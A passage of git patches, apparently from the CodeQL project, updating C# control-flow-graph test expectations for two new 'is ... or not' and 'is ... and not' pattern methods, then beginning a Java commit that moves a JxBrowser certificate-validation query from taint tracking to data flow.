and ... | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:39:87:54 | [false] ... is ... | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:44:87:54 | [no-match] ... and ... | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:64:87:70 | "not 1" | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:44:87:54 | [match] ... and ... | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:50:87:54 | [no-match] not ... | Patterns.cs:87:50:87:54 | [no-match] not ... | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:44:87:54 | [match] ... and ... | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:50:87:54 | [no-match] not ... | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:54:87:54 | 2 | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:64:87:70 | "not 1" | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | enter M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | exit M2 (normal) | @@ -15135,6 +15255,72 @@ postBlockDominance | Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:13 | _ | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:26:85:27 | enter M8 | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:39:85:53 | [true] ... is ... | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:44:85:53 | [match] ... or ... | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:26:85:27 | enter M8 | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:39:85:53 | [true] ... is ... | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:39:85:69 | ... ? ... : ... | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:44:85:53 | [match] ... or ... | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:53:85:53 | 2 | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:57:85:63 | "not 2" | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:44:85:53 | [match] ... or ... | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:85:49:85:53 | [match] not ... | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:53:85:53 | 2 | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:39:85:53 | [true] ... is ... | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:44:85:53 | [match] ... or ... | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:49:85:53 | [match] not ... | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:57:85:63 | "not 2" | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:39:85:53 | [false] ... is ... | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:44:85:53 | [no-match] ... or ... | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:49:85:53 | [no-match] not ... | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:26:87:27 | enter M9 | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:39:87:54 | [false] ... is ... | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:44:87:54 | [no-match] ... and ... | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:50:87:54 | [no-match] not ... | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:44:87:54 | [match] ... and ... | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:26:87:27 | enter M9 | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:39:87:54 | [false] ... is ... | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:39:87:70 | ... ? ... : ... | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:44:87:54 | [match] ... and ... | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:44:87:54 | [no-match] ... and ... | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:50:87:54 | [no-match] not ... | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:54:87:54 | 2 | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:64:87:70 | "not 1" | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:44:87:54 | [match] ... and ... | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:44:87:54 | [no-match] ... and ... | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:50:87:54 | [no-match] not ... | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:50:87:54 | [no-match] not ... | Patterns.cs:87:50:87:54 | [no-match] not ... | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:54:87:54 | 2 | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:39:87:54 | [true] ... is ... | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:44:87:54 | [match] ... and ... | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:50:87:54 | [match] not ... | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:39:87:54 | [false] ... is ... | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:44:87:54 | [no-match] ... and ... | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:50:87:54 | [no-match] not ... | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:64:87:70 | "not 1" | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | enter M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | enter M2 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | enter M2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected index 4b1167f6f60..88448513ccb 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EnclosingCallable.expected @@ -3655,6 +3655,36 @@ nodeEnclosing | Patterns.cs:81:13:81:13 | _ | Patterns.cs:74:26:74:27 | M7 | | Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:74:26:74:27 | M7 | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:26:85:27 | exit M8 | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:26:85:27 | exit M8 (normal) | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:39:85:39 | access to parameter i | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:44:85:44 | 1 | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:49:85:53 | [match] not ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:26:87:27 | exit M9 | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:26:87:27 | exit M9 (normal) | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:39:87:39 | access to parameter i | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:44:87:44 | 1 | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:50:87:54 | [no-match] not ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:26:87:27 | M9 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:5:10:5:11 | exit M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:5:10:5:11 | M1 | @@ -5793,6 +5823,28 @@ blockEnclosing | Patterns.cs:80:18:80:20 | "1" | Patterns.cs:74:26:74:27 | M7 | | Patterns.cs:81:13:81:13 | _ | Patterns.cs:74:26:74:27 | M7 | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:74:26:74:27 | M7 | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:49:85:53 | [match] not ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:26:85:27 | M8 | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:50:87:54 | [no-match] not ... | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:26:87:27 | M9 | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:26:87:27 | M9 | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:5:10:5:11 | M1 | | PostDominance.cs:10:10:10:11 | enter M2 | PostDominance.cs:10:10:10:11 | M2 | | PostDominance.cs:10:10:10:11 | exit M2 (normal) | PostDominance.cs:10:10:10:11 | M2 | diff --git a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected index 380536d8534..279379c0d46 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/EntryElement.expected @@ -2291,6 +2291,24 @@ | Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | | Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:81:13:81:13 | _ | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:18:81:20 | "0" | +| Patterns.cs:85:39:85:39 | access to parameter i | Patterns.cs:85:39:85:39 | access to parameter i | +| Patterns.cs:85:39:85:53 | ... is ... | Patterns.cs:85:39:85:39 | access to parameter i | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:39:85:39 | access to parameter i | +| Patterns.cs:85:44:85:44 | 1 | Patterns.cs:85:44:85:44 | 1 | +| Patterns.cs:85:44:85:53 | ... or ... | Patterns.cs:85:44:85:44 | 1 | +| Patterns.cs:85:49:85:53 | not ... | Patterns.cs:85:53:85:53 | 2 | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:53:85:53 | 2 | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:57:85:63 | "not 2" | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:67:85:69 | "2" | +| Patterns.cs:87:39:87:39 | access to parameter i | Patterns.cs:87:39:87:39 | access to parameter i | +| Patterns.cs:87:39:87:54 | ... is ... | Patterns.cs:87:39:87:39 | access to parameter i | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:39:87:39 | access to parameter i | +| Patterns.cs:87:44:87:44 | 1 | Patterns.cs:87:44:87:44 | 1 | +| Patterns.cs:87:44:87:54 | ... and ... | Patterns.cs:87:44:87:44 | 1 | +| Patterns.cs:87:50:87:54 | not ... | Patterns.cs:87:54:87:54 | 2 | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:54:87:54 | 2 | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:58:87:60 | "1" | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:64:87:70 | "not 1" | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:6:5:8:5 | {...} | | PostDominance.cs:7:9:7:28 | call to method WriteLine | PostDominance.cs:7:27:7:27 | access to parameter s | | PostDominance.cs:7:9:7:29 | ...; | PostDominance.cs:7:9:7:29 | ...; | diff --git a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected index 70dd68e09ff..3a9587847c1 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/ExitElement.expected @@ -2997,6 +2997,34 @@ | Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:13:81:13 | _ | match | | Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:81:13:81:20 | ... => ... | normal | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:18:81:20 | "0" | normal | +| Patterns.cs:85:39:85:39 | access to parameter i | Patterns.cs:85:39:85:39 | access to parameter i | normal | +| Patterns.cs:85:39:85:53 | ... is ... | Patterns.cs:85:39:85:53 | ... is ... | false | +| Patterns.cs:85:39:85:53 | ... is ... | Patterns.cs:85:39:85:53 | ... is ... | true | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:39:85:69 | ... ? ... : ... | normal | +| Patterns.cs:85:44:85:44 | 1 | Patterns.cs:85:44:85:44 | 1 | match | +| Patterns.cs:85:44:85:44 | 1 | Patterns.cs:85:44:85:44 | 1 | no-match | +| Patterns.cs:85:44:85:53 | ... or ... | Patterns.cs:85:44:85:53 | ... or ... | match | +| Patterns.cs:85:44:85:53 | ... or ... | Patterns.cs:85:44:85:53 | ... or ... | no-match | +| Patterns.cs:85:49:85:53 | not ... | Patterns.cs:85:49:85:53 | not ... | match | +| Patterns.cs:85:49:85:53 | not ... | Patterns.cs:85:49:85:53 | not ... | no-match | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:53:85:53 | 2 | match | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:53:85:53 | 2 | no-match | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:57:85:63 | "not 2" | normal | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:67:85:69 | "2" | normal | +| Patterns.cs:87:39:87:39 | access to parameter i | Patterns.cs:87:39:87:39 | access to parameter i | normal | +| Patterns.cs:87:39:87:54 | ... is ... | Patterns.cs:87:39:87:54 | ... is ... | false | +| Patterns.cs:87:39:87:54 | ... is ... | Patterns.cs:87:39:87:54 | ... is ... | true | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:39:87:70 | ... ? ... : ... | normal | +| Patterns.cs:87:44:87:44 | 1 | Patterns.cs:87:44:87:44 | 1 | match | +| Patterns.cs:87:44:87:44 | 1 | Patterns.cs:87:44:87:44 | 1 | no-match | +| Patterns.cs:87:44:87:54 | ... and ... | Patterns.cs:87:44:87:54 | ... and ... | match | +| Patterns.cs:87:44:87:54 | ... and ... | Patterns.cs:87:44:87:54 | ... and ... | no-match | +| Patterns.cs:87:50:87:54 | not ... | Patterns.cs:87:50:87:54 | not ... | match | +| Patterns.cs:87:50:87:54 | not ... | Patterns.cs:87:50:87:54 | not ... | no-match | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:54:87:54 | 2 | match | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:54:87:54 | 2 | no-match | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:58:87:60 | "1" | normal | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:64:87:70 | "not 1" | normal | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:7:9:7:28 | call to method WriteLine | normal | | PostDominance.cs:7:9:7:28 | call to method WriteLine | PostDominance.cs:7:9:7:28 | call to method WriteLine | normal | | PostDominance.cs:7:9:7:29 | ...; | PostDominance.cs:7:9:7:28 | call to method WriteLine | normal | diff --git a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected index 1e3f4ed0c13..cc8669f2dae 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/NodeGraph.expected @@ -3688,6 +3688,38 @@ | Patterns.cs:81:13:81:13 | _ | Patterns.cs:81:18:81:20 | "0" | semmle.label | match | | Patterns.cs:81:13:81:20 | ... => ... | Patterns.cs:76:16:82:9 | ... switch { ... } | semmle.label | successor | | Patterns.cs:81:18:81:20 | "0" | Patterns.cs:81:13:81:20 | ... => ... | semmle.label | successor | +| Patterns.cs:85:26:85:27 | enter M8 | Patterns.cs:85:39:85:39 | access to parameter i | semmle.label | successor | +| Patterns.cs:85:26:85:27 | exit M8 (normal) | Patterns.cs:85:26:85:27 | exit M8 | semmle.label | successor | +| Patterns.cs:85:39:85:39 | access to parameter i | Patterns.cs:85:44:85:44 | 1 | semmle.label | successor | +| Patterns.cs:85:39:85:53 | [false] ... is ... | Patterns.cs:85:67:85:69 | "2" | semmle.label | false | +| Patterns.cs:85:39:85:53 | [true] ... is ... | Patterns.cs:85:57:85:63 | "not 2" | semmle.label | true | +| Patterns.cs:85:39:85:69 | ... ? ... : ... | Patterns.cs:85:26:85:27 | exit M8 (normal) | semmle.label | successor | +| Patterns.cs:85:44:85:44 | 1 | Patterns.cs:85:44:85:53 | [match] ... or ... | semmle.label | match | +| Patterns.cs:85:44:85:44 | 1 | Patterns.cs:85:53:85:53 | 2 | semmle.label | no-match | +| Patterns.cs:85:44:85:53 | [match] ... or ... | Patterns.cs:85:39:85:53 | [true] ... is ... | semmle.label | match | +| Patterns.cs:85:44:85:53 | [no-match] ... or ... | Patterns.cs:85:39:85:53 | [false] ... is ... | semmle.label | no-match | +| Patterns.cs:85:49:85:53 | [match] not ... | Patterns.cs:85:44:85:53 | [match] ... or ... | semmle.label | match | +| Patterns.cs:85:49:85:53 | [no-match] not ... | Patterns.cs:85:44:85:53 | [no-match] ... or ... | semmle.label | no-match | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:49:85:53 | [match] not ... | semmle.label | no-match | +| Patterns.cs:85:53:85:53 | 2 | Patterns.cs:85:49:85:53 | [no-match] not ... | semmle.label | match | +| Patterns.cs:85:57:85:63 | "not 2" | Patterns.cs:85:39:85:69 | ... ? ... : ... | semmle.label | successor | +| Patterns.cs:85:67:85:69 | "2" | Patterns.cs:85:39:85:69 | ... ? ... : ... | semmle.label | successor | +| Patterns.cs:87:26:87:27 | enter M9 | Patterns.cs:87:39:87:39 | access to parameter i | semmle.label | successor | +| Patterns.cs:87:26:87:27 | exit M9 (normal) | Patterns.cs:87:26:87:27 | exit M9 | semmle.label | successor | +| Patterns.cs:87:39:87:39 | access to parameter i | Patterns.cs:87:44:87:44 | 1 | semmle.label | successor | +| Patterns.cs:87:39:87:54 | [false] ... is ... | Patterns.cs:87:64:87:70 | "not 1" | semmle.label | false | +| Patterns.cs:87:39:87:54 | [true] ... is ... | Patterns.cs:87:58:87:60 | "1" | semmle.label | true | +| Patterns.cs:87:39:87:70 | ... ? ... : ... | Patterns.cs:87:26:87:27 | exit M9 (normal) | semmle.label | successor | +| Patterns.cs:87:44:87:44 | 1 | Patterns.cs:87:44:87:54 | [no-match] ... and ... | semmle.label | no-match | +| Patterns.cs:87:44:87:44 | 1 | Patterns.cs:87:54:87:54 | 2 | semmle.label | match | +| Patterns.cs:87:44:87:54 | [match] ... and ... | Patterns.cs:87:39:87:54 | [true] ... is ... | semmle.label | match | +| Patterns.cs:87:44:87:54 | [no-match] ... and ... | Patterns.cs:87:39:87:54 | [false] ... is ... | semmle.label | no-match | +| Patterns.cs:87:50:87:54 | [match] not ... | Patterns.cs:87:44:87:54 | [match] ... and ... | semmle.label | match | +| Patterns.cs:87:50:87:54 | [no-match] not ... | Patterns.cs:87:44:87:54 | [no-match] ... and ... | semmle.label | no-match | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:50:87:54 | [match] not ... | semmle.label | no-match | +| Patterns.cs:87:54:87:54 | 2 | Patterns.cs:87:50:87:54 | [no-match] not ... | semmle.label | match | +| Patterns.cs:87:58:87:60 | "1" | Patterns.cs:87:39:87:70 | ... ? ... : ... | semmle.label | successor | +| Patterns.cs:87:64:87:70 | "not 1" | Patterns.cs:87:39:87:70 | ... ? ... : ... | semmle.label | successor | | PostDominance.cs:5:10:5:11 | enter M1 | PostDominance.cs:6:5:8:5 | {...} | semmle.label | successor | | PostDominance.cs:5:10:5:11 | exit M1 (normal) | PostDominance.cs:5:10:5:11 | exit M1 | semmle.label | successor | | PostDominance.cs:6:5:8:5 | {...} | PostDominance.cs:7:9:7:29 | ...; | semmle.label | successor | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected index 7bcd0d98645..a9c0108cfdc 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected +++ b/csharp/ql/test/library-tests/controlflow/graph/Nodes.expected @@ -1226,6 +1226,8 @@ entryPoint | Patterns.cs:56:26:56:27 | M5 | Patterns.cs:57:5:63:5 | {...} | | Patterns.cs:65:26:65:27 | M6 | Patterns.cs:66:5:72:5 | {...} | | Patterns.cs:74:26:74:27 | M7 | Patterns.cs:75:5:83:5 | {...} | +| Patterns.cs:85:26:85:27 | M8 | Patterns.cs:85:39:85:39 | access to parameter i | +| Patterns.cs:87:26:87:27 | M9 | Patterns.cs:87:39:87:39 | access to parameter i | | PostDominance.cs:5:10:5:11 | M1 | PostDominance.cs:6:5:8:5 | {...} | | PostDominance.cs:10:10:10:11 | M2 | PostDominance.cs:11:5:15:5 | {...} | | PostDominance.cs:17:10:17:11 | M3 | PostDominance.cs:18:5:22:5 | {...} | diff --git a/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs b/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs index 1b6195174af..1b59a01c698 100644 --- a/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs +++ b/csharp/ql/test/library-tests/controlflow/graph/Patterns.cs @@ -81,4 +81,8 @@ class Patterns _ => "0" }; } + + public static string M8(int i) => i is 1 or not 2 ? "not 2" : "2"; + + public static string M9(int i) => i is 1 and not 2 ? "1" : "not 1"; } From bdba7e14fe293225269ae2932a4cb539b453bedd Mon Sep 17 00:00:00 2001 From: intrigus <abc123zeus@live.de> Date: Wed, 27 Jan 2021 11:54:40 +0100 Subject: [PATCH 0852/1241] Java: Switch to data flow --- .../CWE/CWE-295/JxBrowserWithoutCertValidation.ql | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql index 6aee64ed010..71a050a20ce 100644 --- a/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql +++ b/java/ql/src/experimental/Security/CWE/CWE-295/JxBrowserWithoutCertValidation.ql @@ -9,7 +9,7 @@ import java import semmle.code.java.security.Encryption -import semmle.code.java.dataflow.TaintTracking +import semmle.code.java.dataflow.DataFlow /* * This query is version specific to JxBrowser < 6.24. The version is indirectly detected. @@ -57,8 +57,8 @@ private class JxBrowserSafeLoadHandler extends RefType { } } -private class JxBrowserTaintTracking extends TaintTracking::Configuration { - JxBrowserTaintTracking() { this = "JxBrowserTaintTracking" } +private class JxBrowserFlowConfiguration extends DataFlow::Configuration { + 